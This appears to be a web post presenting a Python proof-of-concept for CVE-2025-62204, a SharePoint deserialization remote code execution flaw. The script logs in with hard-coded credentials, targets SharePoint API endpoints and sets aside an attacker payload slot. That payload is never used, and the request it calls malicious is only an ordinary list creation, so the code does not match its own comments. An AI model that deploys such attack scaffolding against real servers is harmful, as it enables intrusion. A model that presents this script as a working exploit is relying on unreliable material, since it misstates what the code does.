CVE-2025-62204: Microsoft SharePoint 反序列化漏洞导致远程代码执行

# CVE-2025-62204 PoC - SharePoint Deserialization RCE # Note: This is a conceptual PoC for educational purposes only import requests from urllib.parse import urljoin import json TARGET_URL = "https://vulnerable-sharepoint-site.com" ATTACKER_PAYLOAD = "<malicious_serialized_object>" def exploit_cve_2025_62204(): """ Exploitation steps: 1. Authenticate with low-privilege account 2. Identify vulnerable endpoint 3. Submit malicious serialized payload 4. Trigger deserialization via user interaction """ session = requests.Session() # Step 1: Authentication login_url = urljoin(TARGET_URL, "/_layouts/15/login.aspx") credentials = {"username": "[email protected]", "password": "password123"} session.post(login_url, data=credentials) # Step 2: Identify vulnerable endpoint # Common SharePoint endpoints: /_api/web/lists, /_vti_bin/client.svc api_endpoint = urljoin(TARGET_URL, "/_api/web") # Step 3: Prepare malicious payload # This would contain a crafted serialized object with gadget chain headers = { "Content-Type": "application/json", "Accept": "application/json" } malicious_data = { "__metadata": {"type": "SP.List"}, "Title": "TestList", "BaseTemplate": 100, "ContentTypesEnabled": True } # Step 4: Send request to create list with malicious data create_url = urljoin(TARGET_URL, "/_api/web/lists") response = session.post(create_url, json=malicious_data, headers=headers) print(f"Response Status: {response.status_code}") print(f"Response: {response.text}") if __name__ == "__main__": print("CVE-2025-62204 SharePoint Deserialization PoC") exploit_cve_2025_62204()